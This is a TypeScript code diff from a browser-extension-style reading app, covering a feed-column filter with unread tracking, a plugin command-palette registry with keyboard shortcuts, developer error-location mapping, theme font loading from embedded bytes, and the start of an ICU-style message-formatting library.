// A config delivered at document start arrives before the parser has created <html>.
if (!html.hasAttribute(n.column)) html.setAttribute(n.column, '');
if (html.getAttribute(n.density) !== config.density) html.setAttribute(n.density, config.density);
ensureStyle();
const source = onSource();
if (source) html.setAttribute(n.home, '');
else html.removeAttribute(n.home);
if (win.location.href !== lastUrl) { lastUrl = win.location.href; prepared = false; }
if (source && !prepared && site.prepare) {
try { prepared = site.prepare(doc, config); } catch { prepared = true; }
}
const list = items();
const ordered: string[] = [];
const visible = new Set<string>();
for (const item of list) {
const container = site.container?.(item) ?? item;
let hidden = false;
if (source) {
try { hidden = matcher({ text: textOf(item), ...kindOf(item) }); } catch { hidden = false; }
}
if (hidden) container.setAttribute(n.filtered, '');
else if (container.hasAttribute(n.filtered)) container.removeAttribute(n.filtered);
if (!source || !config.unread || hidden) continue;
let id: string | null = null;
try { id = site.itemId(item); } catch { id = null; }
if (!id || ordered.includes(id)) continue;
ids.set(item, id);
ordered.push(id);
if (onScreen(item)) visible.add(id);
ensureObserver();
if (observer && !observed.has(item)) { observed.add(item); observer.observe(item); }
}
if (source && config.unread) {
tracker.observe(ordered, visible);
for (const item of list) {
const id = ids.get(item);
if (!id) continue;
if (tracker.isUnread(id)) item.setAttribute(n.unread, '');
else if (item.hasAttribute(n.unread)) item.removeAttribute(n.unread);
}
}
report();
};
const onKey = (event: KeyboardEvent) => {
if (!config || !event.altKey || event.ctrlKey || event.metaKey || event.shiftKey) return;
const key = event.key.toLowerCase();
if (key !== 'r' && key !== 'u') return;
event.preventDefault();
event.stopImmediatePropagation();
if (key === 'r') handle.markRead();
else handle.jumpToUnread();
};
const onVisibility = () => { if (shown()) watch?.schedule(); };
const start = () => {
if (watch) return;
watch = watchDom(win, scan, { phase: 'write' });
win.addEventListener('keydown', onKey, true);
doc.addEventListener('visibilitychange', onVisibility);
win.addEventListener('resize', onVisibility);
win.addEventListener('scroll', onScroll, { passive: true });
};
let scrollFrame = 0;
const onScroll = () => {
if (scrollFrame) return;
scrollFrame = win.requestAnimationFrame(() => { scrollFrame = 0; report(); });
};
const stop = () => {
watch?.dispose();
watch = null;
observer?.disconnect();
observer = null;
win.removeEventListener('keydown', onKey, true);
doc.removeEventListener('visibilitychange', onVisibility);
win.removeEventListener('resize', onVisibility);
win.removeEventListener('scroll', onScroll);
if (reportTimer) { win.clearTimeout(reportTimer); reportTimer = 0; }
const html = root();
html?.removeAttribute(n.column);
html?.removeAttribute(n.home);
html?.removeAttribute(n.density);
doc.getElementById(n.style)?.remove();
for (const el of Array.from(doc.querySelectorAll(`[${n.filtered}], [${n.unread}]`))) {
el.removeAttribute(n.filtered);
el.removeAttribute(n.unread);
}
};
const handle: ColumnHandle = {
set(value) {
const next = normalizeColumnConfig(value);
if (!next) {
if (config) { config = null; stop(); lastReported = -1; options.onUnread?.(0); }
return;
}
const first = !config;
const sourceChanged = !!config && config.url !== next.url;
config = next;
matcher = compileFilters(next.filters);
if (first || sourceChanged) { tracker = createUnreadTracker(); prepared = false; }
const html = root();
html?.setAttribute(n.column, '');
html?.setAttribute(n.density, next.density);
if (!first && lastSeq.read >= 0 && next.readSeq !== lastSeq.read) handle.markRead();
if (!first && lastSeq.jump >= 0 && next.jumpSeq !== lastSeq.jump) handle.jumpToUnread();
lastSeq = { read: next.readSeq, jump: next.jumpSeq };
ensureStyle();
start();
watch?.schedule();
if (!next.unread) report();
},
markRead() {
tracker.markRead();
for (const el of Array.from(doc.querySelectorAll(`[${n.unread}]`))) el.removeAttribute(n.unread);
report();
},
jumpToUnread() {
const list = items();
const ordered = list.map(item => ids.get(item)).filter((id): id is string => !!id);
const target = tracker.nextUnread(ordered);
const element = target ? list.find(item => ids.get(item) === target) : null;
if (element) (site.container?.(element) ?? element).scrollIntoView({ block: 'start' });
else if (pending() > 0) win.scrollTo({ top: 0 });
},
unread: () => (config?.unread ? Math.min(999, tracker.count() + pending()) : 0),
dispose() { config = null; stop(); },
};
return handle;
}

View file

@ -0,0 +1,227 @@
// Plugin commands for the shell's command palette (Ctrl+K).
//
// A plugin registers `{ id, title, keywords, shortcut?, run }` with `api.commands.register` (or
// `scope.commands.register`, removed on dispose). The registry is local to the page: the runtime
// reports `list()` (ids, titles and keywords only, capped) about this tab to the host, and the
// shell asks this tab to `run(id)` when the user picks one in the palette. `run` always executes
// here, in the plugin's own page; nothing crosses to the shell but these strings.
//
// Every command belongs to the plugin that registered it: the host starts a plugin inside
// `withOwner(file, ...)`, and stopping the plugin removes all of its commands (`removeOwner`), so
// a plugin that forgets to unregister cannot leave a dead entry in the palette.
export type Dispose = () => void;
export type CommandDefinition = {
/** Unique within the plugin: letters, digits, `.`, `_`, `-`, 1–64 characters. */
id: string;
/** Shown in the palette (at most 80 characters are kept). */
title: string;
/** Extra words the palette matches (string or list; at most 160 characters are kept). */
keywords?: string | readonly string[];
/** Optional in-page shortcut such as `Alt+Shift+F` (works while this page has focus, not while typing). */
shortcut?: string;
run: () => unknown;
};
/** What the palette sees of a command: strings only. `id` is `<owner>:<command id>`. */
export type CommandInfo = { id: string; title: string; keywords: string };
export const COMMAND_LIMITS = Object.freeze({
/** Commands one plugin may register. */
perOwner: 16,
/** Commands one page may report. */
total: 48,
id: 64,
title: 80,
keywords: 160,
owner: 128,
});
/** Owner of commands registered outside any plugin start (e.g. later, from a timer). */
export const NO_OWNER = '_';
const COMMAND_ID = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/;
/** Plugin file names (the host's `valid_file_name`) and `_`. */
const OWNER_ID = /^(?:_|[A-Za-z0-9_\- ][A-Za-z0-9_.\- ]{0,127})$/;
const clean = (value: string, max: number) =>
// eslint-disable-next-line no-control-regex
value.replace(/[\u0000-\u001f\u007f]+/g, ' ').replace(/\s+/g, ' ').trim().slice(0, max);
export type Shortcut = { key: string; ctrl: boolean; alt: boolean; shift: boolean; meta: boolean };
/** Parses `Ctrl+Alt+Shift+Meta+<key>` (case-insensitive; `Cmd`/`Mod` = Meta/Ctrl). Null when invalid. */
export function parseShortcut(value: unknown): Shortcut | null {
if (typeof value !== 'string' || value.length > 40) return null;
const parts = value.split('+').map(part => part.trim()).filter(Boolean);
if (!parts.length) return null;
const shortcut: Shortcut = { key: '', ctrl: false, alt: false, shift: false, meta: false };
for (const [index, raw] of parts.entries()) {
const part = raw.toLowerCase();
const last = index === parts.length - 1;
if (!last) {
if (part === 'ctrl' || part === 'control' || part === 'mod') shortcut.ctrl = true;
else if (part === 'alt' || part === 'option') shortcut.alt = true;
else if (part === 'shift') shortcut.shift = true;
else if (part === 'meta' || part === 'cmd' || part === 'command') shortcut.meta = true;
else return null;
continue;
}
if (!/^(?:[a-z0-9]|f(?:[1-9]|1[0-2])|arrow(?:up|down|left|right)|enter|escape|space|[[\]\\;',./`=-])$/.test(part)) return null;
shortcut.key = part;
}
return shortcut.key ? shortcut : null;
}
/** Whether a keydown matches a parsed shortcut. Letters and digits match by physical key too. */
export function matchesShortcut(event: Pick<KeyboardEvent, 'key' | 'code' | 'ctrlKey' | 'altKey' | 'shiftKey' | 'metaKey'>, shortcut: Shortcut): boolean {
if (event.ctrlKey !== shortcut.ctrl || event.altKey !== shortcut.alt || event.shiftKey !== shortcut.shift || event.metaKey !== shortcut.meta) return false;
const key = shortcut.key;
if (/^[a-z]$/.test(key)) return event.code === `Key${key.toUpperCase()}` || event.key.toLowerCase() === key;
if (/^[0-9]$/.test(key)) return event.code === `Digit${key}` || event.key === key;
if (key === 'space') return event.key === ' ' || event.code === 'Space';
return event.key.toLowerCase() === key;
}
export type CommandRegistry = {
/** Registers a command for the current owner; returns its disposer. Throws on invalid input or caps. */
register(definition: CommandDefinition): Dispose;
/** The palette's view of every command (strings only), in registration order. */
list(): CommandInfo[];
/** Runs `<owner>:<id>` in this page. False when there is no such command. */
run(id: string): boolean;
/** Calls `callback(list())` after commands change (batched), until disposed. */
onChange(callback: (list: CommandInfo[]) => void): Dispose;
/** Host hook: runs `fn` with `owner` as the owner of commands registered meanwhile. */
withOwner<T>(owner: string, fn: () => T): T;
/** Host hook: removes every command of `owner` (called after a plugin stops). */
removeOwner(owner: string): void;
};
/** Registry internals the plugin API needs (not handed to plugins). */
export type CommandRegistryInternal = CommandRegistry & {
/** The owner commands registered right now would get. */
currentOwner(): string;
/** Registers for an explicit owner (a scope remembers the plugin that created it). */
registerFor(owner: string, definition: CommandDefinition): Dispose;
};
type Entry = { owner: string; id: string; title: string; keywords: string; shortcut: Shortcut | null; run: () => unknown };
export type CommandEnv = {
/** Where shortcut keydowns are listened to (the page's document). */
target?: Pick<EventTarget, 'addEventListener' | 'removeEventListener'>;
/** True while the user types (no shortcut then). */
isTyping?: (event: KeyboardEvent) => boolean;
/** Batches change notifications; defaults to a microtask. */
schedule?: (fn: () => void) => void;
report?: (error: unknown) => void;
};
export function createCommandRegistry(env: CommandEnv = {}): CommandRegistryInternal {
const entries: Entry[] = [];
const listeners = new Set<(list: CommandInfo[]) => void>();
const report = env.report ?? ((error: unknown) => console.error('[wayBetter] command failed', error));
const schedule = env.schedule ?? ((fn: () => void) => { void Promise.resolve().then(fn); });
const owners: string[] = [];
let pending = false;
let keyListening = false;
const info = (entry: Entry): CommandInfo => ({ id: `${entry.owner}:${entry.id}`, title: entry.title, keywords: entry.keywords });
const list = () => entries.map(info);
const changed = () => {
syncKeys();
if (pending) return;
pending = true;
schedule(() => {
pending = false;
const snapshot = list();
for (const listener of [...listeners]) {
try { listener(snapshot); } catch (error) { report(error); }
}
});
};
const invoke = (entry: Entry) => {
try {
const result = entry.run();
if (result && typeof (result as Promise<unknown>).then === 'function') (result as Promise<unknown>).then(undefined, report);
} catch (error) { report(error); }
};
const onKeyDown = (event: Event) => {
const key = event as KeyboardEvent;
if (key.defaultPrevented || key.repeat || env.isTyping?.(key)) return;
const entry = entries.find(item => item.shortcut && matchesShortcut(key, item.shortcut));
if (!entry) return;
key.preventDefault();
key.stopPropagation();
invoke(entry);
};
function syncKeys() {
const wanted = !!env.target && entries.some(entry => entry.shortcut);
if (wanted === keyListening) return;
keyListening = wanted;
if (wanted) env.target!.addEventListener('keydown', onKeyDown, true);
else env.target!.removeEventListener('keydown', onKeyDown, true);
}
const currentOwner = () => owners[owners.length - 1] ?? NO_OWNER;
function registerFor(owner: string, definition: CommandDefinition): Dispose {
if (typeof owner !== 'string' || !OWNER_ID.test(owner)) throw new Error('commands.register: invalid owner');
if (!definition || typeof definition !== 'object') throw new Error('commands.register: expected { id, title, run }');
const { id, title, keywords, shortcut, run } = definition;
if (typeof id !== 'string' || !COMMAND_ID.test(id)) throw new Error(`commands.register: invalid id ${JSON.stringify(id)} (letters, digits, . _ -, at most ${COMMAND_LIMITS.id})`);
if (typeof run !== 'function') throw new Error('commands.register: run must be a function');
const shownTitle = typeof title === 'string' ? clean(title, COMMAND_LIMITS.title) : '';
if (!shownTitle) throw new Error('commands.register: title is required');
const words = typeof keywords === 'string' ? keywords : Array.isArray(keywords) ? keywords.filter(word => typeof word === 'string').join(' ') : '';
const parsed = shortcut === undefined ? null : parseShortcut(shortcut);
if (shortcut !== undefined && !parsed) throw new Error(`commands.register: invalid shortcut ${JSON.stringify(shortcut)}`);
const existing = entries.findIndex(entry => entry.owner === owner && entry.id === id);
if (existing < 0) {
if (entries.filter(entry => entry.owner === owner).length >= COMMAND_LIMITS.perOwner) throw new Error(`commands.register: at most ${COMMAND_LIMITS.perOwner} commands per plugin`);
if (entries.length >= COMMAND_LIMITS.total) throw new Error(`commands.register: at most ${COMMAND_LIMITS.total} commands per page`);
}
const entry: Entry = { owner, id, title: shownTitle, keywords: clean(words, COMMAND_LIMITS.keywords), shortcut: parsed, run: run as () => unknown };
// Registering the same id again replaces the command in place (a plugin reloading its settings).
if (existing >= 0) entries.splice(existing, 1, entry); else entries.push(entry);
changed();
return () => {
const index = entries.indexOf(entry);
if (index < 0) return;
entries.splice(index, 1);
changed();
};
}
return {
register: definition => registerFor(currentOwner(), definition),
registerFor,
currentOwner,
list,
run(fullId) {
if (typeof fullId !== 'string') return false;
const entry = entries.find(item => `${item.owner}:${item.id}` === fullId);
if (!entry) return false;
invoke(entry);
return true;
},
onChange(callback) {
listeners.add(callback);
return () => { listeners.delete(callback); };
},
withOwner(owner, fn) {
if (typeof owner !== 'string' || !OWNER_ID.test(owner)) return fn();
owners.push(owner);
try { return fn(); } finally { owners.pop(); }
},
removeOwner(owner) {
let removed = false;
for (let index = entries.length - 1; index >= 0; index -= 1) {
if (entries[index]!.owner === owner) { entries.splice(index, 1); removed = true; }
}
if (removed) changed();
},
};
}

View file

@ -0,0 +1,34 @@
// Live-reload developer mode: where a plugin's start failure happened, for the in-page error toast.
//
// The host evaluates a plugin with `//# sourceURL=<prefix><file>` (waybetter-host
// `dev_start_script`), so V8/JavaScriptCore stack frames name that URL with the line and column
// of the evaluated script; the plugin file's line 1 is line `1 + lineOffset` there.
export type DevErrorLocation = { file: string; line: number | null; column: number | null; message: string };
/** Default prefix the host uses for plugin source URLs. */
export const DEV_SOURCE_PREFIX = 'wb-dev/';
const escapeRegExp = (value: string) => value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
/**
* The first stack frame inside `file` (evaluated as `<prefix><file>`), mapped back to the file's
* own line numbers. Line is null when no frame names the file (e.g. an error thrown from a timer
* in other code). The message is one line, at most 300 characters.
*/
export function devErrorLocation(error: unknown, file: string, prefix = DEV_SOURCE_PREFIX, lineOffset = 1): DevErrorLocation {
const text = error instanceof Error ? error.message : String(error);
const message = `${error instanceof Error && error.name && error.name !== 'Error' ? `${error.name}: ` : ''}${text}`.split('\n')[0]!.slice(0, 300);
const stack = error instanceof Error && typeof error.stack === 'string' ? error.stack : '';
const url = `${prefix}${file.replace(/ /g, '%20')}`;
const match = new RegExp(`${escapeRegExp(url)}:(\\d+):(\\d+)`).exec(stack);
if (!match) return { file, line: null, column: null, message };
const line = Number(match[1]) - lineOffset;
return { file, line: line >= 1 ? line : null, column: Number(match[2]), message };
}
/** `file:line:column — message` (parts that are unknown are left out). */
export function formatDevError(location: DevErrorLocation): string {
const where = location.line ? `${location.file}:${location.line}${location.column ? `:${location.column}` : ''}` : location.file;
return `${where} — ${location.message}`;
}

View file

@ -0,0 +1,73 @@
// Theme fonts in a site's page. Sites usually block remote and `data:` font URLs (CSP `font-src`),
// but a FontFace built from bytes performs no fetch, so bundled families (Geist and Geist Mono: the
// app embeds their woff2 files in its page runtime) are registered only when a theme uses them, and
// Google Fonts the owner downloaded arrive as bytes from native code (`provideFonts`).
import { BUNDLED_FONTS } from './themeSpec.ts';
/** Unicode ranges of the Latin and Latin Extended subsets (@fontsource file names `latin`, `latin-ext`). */
export const LATIN_RANGE = 'U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD';
export const LATIN_EXT_RANGE = 'U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF';
/** A bundled family's files: base64 woff2 (variable, weights 100-900) with the unicode range each covers. */
export type BundledFontFiles = Record<string, Array<[base64: string, unicodeRange: string]>>;
const loaded = new WeakMap<Document, Set<string>>();
const log = (family: string, error: unknown) => console.error(`[wayBetter] font ${family} failed`, error);
/** Registers the bundled families `names` (BUNDLED_FONTS) from `files`, once per document. */
export function loadBundledFonts(doc: Document, names: string[], files: BundledFontFiles): void {
let done = loaded.get(doc);
if (!done) loaded.set(doc, done = new Set());
for (const name of names) {
const faces = files[name];
const family = BUNDLED_FONTS[name];
if (!faces || !family || done.has(name)) continue;
done.add(name);
for (const [base64, unicodeRange] of faces) {
const bytes = Uint8Array.from(atob(base64), char => char.charCodeAt(0));
const face = new FontFace(family, bytes.buffer, { weight: '100 900', style: 'normal', unicodeRange, display: 'swap' });
doc.fonts.add(face);
face.load().catch(error => log(name, error));
}
}
}
/**
* Google Fonts the owner downloaded: native code validates and caches the woff2 files and hands
* their bytes to site tabs whose theme uses them. The page never requests a font; each family is
* registered once per document (again only when its bytes change, e.g. after picking other weights).
*/
export type ProvidedFont = { family: string; faces: Array<{ weight: [number, number]; unicodeRange: string | null; data: string }> };
const provided = new WeakMap<Document, Map<string, string>>();
const FAMILY = /^[A-Za-z0-9][A-Za-z0-9 ]{0,47}$/;
/** Registers the provided families (validated again; at most 8 families of 24 faces); returns the families added. */
export function provideFonts(doc: Document, fonts: unknown): string[] {
const added: string[] = [];
if (!Array.isArray(fonts)) return added;
let known = provided.get(doc);
if (!known) provided.set(doc, known = new Map());
for (const font of fonts.slice(0, 8) as ProvidedFont[]) {
if (!font || typeof font.family !== 'string' || !FAMILY.test(font.family) || !Array.isArray(font.faces)) continue;
const key = font.faces.map(face => `${face?.weight}|${typeof face?.data === 'string' ? face.data.length : 0}`).join(',');
if (known.get(font.family) === key) continue;
// Other weights of a family replace its earlier faces.
for (const face of [...doc.fonts]) if ((face as FontFace).family.replace(/"/g, '') === font.family && (face as FontFace & { wbGoogle?: boolean }).wbGoogle) doc.fonts.delete(face as FontFace);
known.set(font.family, key);
for (const face of font.faces.slice(0, 24)) {
if (!face || typeof face.data !== 'string' || !Array.isArray(face.weight)) continue;
try {
const bytes = Uint8Array.from(atob(face.data), char => char.charCodeAt(0));
const [min, max] = face.weight.map(Number) as [number, number];
const descriptors: FontFaceDescriptors = { weight: min === max ? String(min) : `${min} ${max}`, style: 'normal', display: 'swap' };
if (typeof face.unicodeRange === 'string' && /^[U+0-9A-Fa-f?, -]{1,4000}$/.test(face.unicodeRange)) descriptors.unicodeRange = face.unicodeRange;
const fontFace = Object.assign(new FontFace(font.family, bytes.buffer, descriptors), { wbGoogle: true });
doc.fonts.add(fontFace);
fontFace.load().catch(error => log(font.family, error));
} catch (error) { log(font.family, error); }
}
added.push(font.family);
}
return added;
}

View file

@ -0,0 +1,661 @@
// wayBetter i18n: a small, dependency-free message runtime for the shell, the panel, the page
// runtime and plugins (published as `waybetter/i18n`).
//
// Messages are plain strings in an ICU MessageFormat subset ("ICU-lite"):
// Hello, {name}! placeholder (inserted as text, never HTML)
// {count, plural, =0 {No drafts} one {# draft} other {# drafts}} plural (Intl.PluralRules)
// {n, selectordinal, one {#st} two {#nd} few {#rd} other {#th}} ordinal
// {kind, select, post {Post} reply {Reply} other {Item}} select
// {n, number} {n, number, percent} {d, date, short} {d, time} Intl number/date formats
// '{literal}' '#' and '' (an apostrophe) ICU quoting
// An apostrophe quotes only when it comes right before { } # or another apostrophe, so ordinary
// English ("don't", "the developer's") needs no escaping.
// `#` inside a plural is the (locale-formatted) number. Numbers, dates, relative times and lists
// go through `Intl` in the active locale.
//
// Catalogs are data only: one JSON file per locale (`locales/<bcp47>.json`), English is the
// source. Lookups fall back along a chain (pt-BR -> pt -> en). Missing keys are reported once per
// key and locale through `onMissing` (development), never thrown.
export type Messages = Readonly<Record<string, string>>;
export type Dir = 'ltr' | 'rtl';
export type Params = Readonly<Record<string, unknown>>;
/** A catalog file (`locales/<bcp47>.json`). See `i18n.schema.json` in the `waybetter` package. */
export type Catalog = {
$schema?: string;
/** BCP 47 tag of this file (`tr`, `pt`, `zh-Hant`, `ar-x-fm`). */
locale: string;
/** The language's own name ("Türkçe"). */
name: string;
/** Its English name ("Turkish"). */
englishName: string;
dir?: Dir;
/** `source` (English), `machine` (machine-drafted, needs a human), `reviewed` (checked by people). */
status: 'source' | 'machine' | 'reviewed';
reviewers?: string[];
/** Falls back to this locale before English (e.g. `ar-x-fm` -> `ar`). */
fallback?: string;
messages: Record<string, string>;
};
// -------------------------------------------------------------------------------------------
// Locales
/** Scripts written right to left, by primary language subtag. */
const RTL = new Set(['ar', 'arc', 'ckb', 'dv', 'fa', 'he', 'iw', 'ks', 'ku-arab', 'ps', 'sd', 'syr', 'ug', 'ur', 'yi']);
/**
* Site and legacy codes mapped to BCP 47: X's own settings use `msa`, `zh-cn`, `zh-tw`, `no` and
* `en-gb`; old platforms say `iw`, `in`, `tl`.
*/
const ALIASES: Record<string, string> = {
msa: 'ms',
'zh-cn': 'zh-Hans',
'zh-sg': 'zh-Hans',
zh: 'zh-Hans',
'zh-tw': 'zh-Hant',
'zh-hk': 'zh-Hant',
'zh-mo': 'zh-Hant',
no: 'nb',
nn: 'nb',
iw: 'he',
in: 'id',
tl: 'fil',
ji: 'yi',
};
const TAG = /^[A-Za-z]{2,3}(-[A-Za-z0-9]{1,8}){0,4}$/;
/**
* A tag in canonical BCP 47 form (`en_gb` -> `en-GB`, `zh-cn` -> `zh-Hans`, `msa` -> `ms`), or null
* when it is not a language tag at all. Private-use subtags survive (`ar-x-fm`).
*/
export function normalizeLocale(input: unknown): string | null {
if (typeof input !== 'string') return null;
const raw = input.trim().replace(/_/g, '-');
if (!raw || raw.length > 35 || !TAG.test(raw)) return null;
const lower = raw.toLowerCase();
if (ALIASES[lower]) return ALIASES[lower];
// `zh-Hans-CN` / `zh-Hant-TW`: the script decides; the region is noise for our catalogs.
const parts = lower.split('-');
if (parts[0] === 'zh') {
if (parts.includes('hant') || ['tw', 'hk', 'mo'].includes(parts[1] ?? '')) return 'zh-Hant';
return 'zh-Hans';
}
const privateUse = lower.indexOf('-x-');
if (privateUse > 0) {
const base = normalizeLocale(raw.slice(0, privateUse));
return base ? `${base}-x-${lower.slice(privateUse + 3)}` : null;
}
const alias = ALIASES[parts[0]!];
const head = alias && !alias.includes('-') ? [alias, ...parts.slice(1)].join('-') : raw;
try {
return Intl.getCanonicalLocales(head)[0] ?? null;
} catch {
return null;
}
}
/** The primary language subtag (`pt-BR` -> `pt`). */
export function languageOf(locale: string): string {
return locale.split('-')[0]!.toLowerCase();
}
/** Writing direction of a locale. */
export function direction(locale: string): Dir {
const lower = locale.toLowerCase();
if (lower.startsWith('ku-arab')) return 'rtl';
return RTL.has(languageOf(lower)) ? 'rtl' : 'ltr';
}
/**
* Where lookups go, most specific first, ending with the source locale: `pt-BR` -> [pt-BR, pt, en].
* `fallbacks` maps a locale to the one it inherits from (a catalog's `fallback`, e.g. ar-x-fm -> ar).
* Script variants never fall back to another script: `zh-Hant` does not use `zh-Hans`.
*/
export function fallbackChain(locale: string, source = 'en', fallbacks: Readonly<Record<string, string>> = {}): string[] {
const out: string[] = [];
const push = (tag: string | null | undefined) => {
if (tag && !out.includes(tag)) out.push(tag);
};
let current: string | null = normalizeLocale(locale);
for (let guard = 0; current && guard < 8; guard += 1) {
push(current);
const explicit = fallbacks[current];
if (explicit) {
current = normalizeLocale(explicit);
continue;
}
const privateUse = current.indexOf('-x-');
if (privateUse > 0) {
current = current.slice(0, privateUse);
continue;
}
const parts = current.split('-');
if (parts.length <= 1) break;
// zh-Hans / zh-Hant, sr-Latn: a script subtag is its own catalog.
if (parts.length === 2 && /^[A-Z][a-z]{3}$/.test(parts[1]!)) break;
current = parts.slice(0, -1).join('-');
}
push(source);
return out;
}
/**
* Picks the best available locale for a list of preferences (most wanted first), by fallback chain:
* `['pt-PT', 'en']` with `pt` available -> `pt`. Returns `fallback` when nothing matches.
*/
export function matchLocale(preferred: readonly unknown[], available: readonly string[], fallback = 'en'): string {
const set = new Set(available);
for (const wanted of preferred) {
const tag = normalizeLocale(wanted);
if (!tag) continue;
for (const candidate of fallbackChain(tag, '')) {
if (candidate && set.has(candidate)) return candidate;
}
}
return fallback;
}
// -------------------------------------------------------------------------------------------
// Messages (ICU-lite)
type Part =
| string
| { kind: 'arg'; name: string; format?: 'number' | 'date' | 'time'; style?: string }
| { kind: 'pound' }
| { kind: 'plural'; name: string; ordinal: boolean; offset: number; options: Record<string, Part[]> }
| { kind: 'select'; name: string; options: Record<string, Part[]> };
export class MessageSyntaxError extends Error {
readonly source: string;
readonly index: number;
constructor(message: string, source: string, index: number) {
super(`${message} at ${index} in ${JSON.stringify(source.length > 80 ? `${source.slice(0, 80)}…` : source)}`);
this.name = 'MessageSyntaxError';
this.source = source;
this.index = index;
}
}
const NAME = /^[A-Za-z_][A-Za-z0-9_]*$/;
/** Parses a message into parts; throws `MessageSyntaxError` on malformed ICU. */
export function parseMessage(source: string): Part[] {
let i = 0;
const parseParts = (inPlural: boolean, depth: number): Part[] => {
const parts: Part[] = [];
let text = '';
const flush = () => {
if (text) parts.push(text);
text = '';
};
while (i < source.length) {
const ch = source[i]!;
if (ch === "'") {
const next = source[i + 1];
if (next === "'") { text += "'"; i += 2; continue; }
// An apostrophe only quotes before { } # (or another apostrophe); "don't" stays literal.
if (next === '{' || next === '}' || next === '#') {
// Quoted literal up to the next lone apostrophe.
i += 1;
while (i < source.length) {
if (source[i] === "'") {
if (source[i + 1] === "'") { text += "'"; i += 2; continue; }
i += 1;
break;
}
text += source[i];
i += 1;
}
continue;
}
text += ch;
i += 1;
continue;
}
if (ch === '}') {
if (depth > 0) break;
throw new MessageSyntaxError('unexpected }', source, i);
}
if (ch === '#' && inPlural) {
flush();
parts.push({ kind: 'pound' });
i += 1;
continue;
}
if (ch === '{') {
flush();
parts.push(parseArgument(depth));
continue;
}
text += ch;
i += 1;
}
flush();
return parts;
};
const skipSpace = () => { while (i < source.length && /\s/.test(source[i]!)) i += 1; };
const readWord = () => {
const start = i;
while (i < source.length && /[^\s,{}]/.test(source[i]!)) i += 1;
return source.slice(start, i);
};
const expect = (ch: string) => {
if (source[i] !== ch) throw new MessageSyntaxError(`expected ${ch}`, source, i);
i += 1;
};
const parseOptions = (inPlural: boolean, depth: number): Record<string, Part[]> => {
const options: Record<string, Part[]> = {};
for (;;) {
skipSpace();
if (source[i] === '}') break;
const selector = readWord();
if (!selector) throw new MessageSyntaxError('expected a selector', source, i);
skipSpace();
expect('{');
options[selector] = parseParts(inPlural, depth + 1);
expect('}');
}
if (!('other' in options)) throw new MessageSyntaxError('a plural or select needs an "other" option', source, i);
return options;
};
const parseArgument = (depth: number): Part => {
expect('{');
skipSpace();
const name = readWord();
if (!NAME.test(name)) throw new MessageSyntaxError(`invalid placeholder name ${JSON.stringify(name)}`, source, i);
skipSpace();
if (source[i] === '}') { i += 1; return { kind: 'arg', name }; }
expect(',');
skipSpace();
const type = readWord();
skipSpace();
if (type === 'plural' || type === 'selectordinal') {
expect(',');
skipSpace();
let offset = 0;
const offsetMatch = /^offset:(\d+)/.exec(source.slice(i));
if (offsetMatch) { offset = Number(offsetMatch[1]); i += offsetMatch[0].length; }
const options = parseOptions(true, depth);
expect('}');
return { kind: 'plural', name, ordinal: type === 'selectordinal', offset, options };
}
if (type === 'select') {
expect(',');
const options = parseOptions(false, depth);
expect('}');
return { kind: 'select', name, options };
}
if (type === 'number' || type === 'date' || type === 'time') {
let style: string | undefined;
if (source[i] === ',') {
i += 1;
skipSpace();
style = readWord();
skipSpace();
}
expect('}');
return { kind: 'arg', name, format: type, style };
}
throw new MessageSyntaxError(`unknown argument type ${JSON.stringify(type)}`, source, i);
};
const parts = parseParts(false, 0);
if (i < source.length) throw new MessageSyntaxError('unexpected }', source, i);
return parts;
}
/** Placeholder names a message uses (plural/select arguments included), sorted. */
export function placeholders(source: string): string[] {
const names = new Set<string>();
const walk = (parts: Part[]) => {
for (const part of parts) {
if (typeof part === 'string' || part.kind === 'pound') continue;
names.add(part.name);
if (part.kind === 'plural' || part.kind === 'select') for (const option of Object.values(part.options)) walk(option);
}
};
walk(parseMessage(source));
return [...names].sort();
}
/** Plural/select structure of a message: `{ count: { kind: 'plural', options: ['one', 'other'] } }`. */
export function argumentShapes(source: string): Record<string, { kind: 'plural' | 'selectordinal' | 'select'; options: string[] }> {
const out: Record<string, { kind: 'plural' | 'selectordinal' | 'select'; options: string[] }> = {};
const walk = (parts: Part[]) => {
for (const part of parts) {
if (typeof part === 'string' || part.kind === 'pound' || part.kind === 'arg') continue;
const kind = part.kind === 'select' ? 'select' : part.ordinal ? 'selectordinal' : 'plural';
const entry = (out[part.name] ??= { kind, options: [] });
for (const [selector, option] of Object.entries(part.options)) {
if (!entry.options.includes(selector)) entry.options.push(selector);
walk(option);
}
}
};
walk(parseMessage(source));
return out;
}
const formatterCache = new Map<string, Intl.NumberFormat | Intl.DateTimeFormat | Intl.PluralRules>();
function cached<T extends Intl.NumberFormat | Intl.DateTimeFormat | Intl.PluralRules>(key: string, make: () => T): T {
let value = formatterCache.get(key) as T | undefined;
if (!value) {
value = make();
if (formatterCache.size > 256) formatterCache.clear();
formatterCache.set(key, value);
}
return value;
}
function safeLocale(locale: string): string {
// Private-use tags (ar-x-fm) are valid BCP 47 but Intl may not know them: format as the base.
const base = locale.split('-x-')[0]!;
try {
return Intl.getCanonicalLocales(base)[0] ?? 'en';
} catch {
return 'en';
}
}
export function numberFormat(locale: string, options?: Intl.NumberFormatOptions): Intl.NumberFormat {
const tag = safeLocale(locale);
return cached(`n|${tag}|${JSON.stringify(options ?? {})}`, () => new Intl.NumberFormat(tag, options));
}
export function dateFormat(locale: string, options?: Intl.DateTimeFormatOptions): Intl.DateTimeFormat {
const tag = safeLocale(locale);
return cached(`d|${tag}|${JSON.stringify(options ?? {})}`, () => new Intl.DateTimeFormat(tag, options));
}
export function pluralRules(locale: string, ordinal = false): Intl.PluralRules {
const tag = safeLocale(locale);
return cached(`p|${tag}|${ordinal}`, () => new Intl.PluralRules(tag, { type: ordinal ? 'ordinal' : 'cardinal' }));
}
/** CLDR plural categories a locale uses (`tr`: one, other; `ar`: zero, one, two, few, many, other). */
export function pluralCategories(locale: string, ordinal = false): string[] {
return [...pluralRules(locale, ordinal).resolvedOptions().pluralCategories];
}
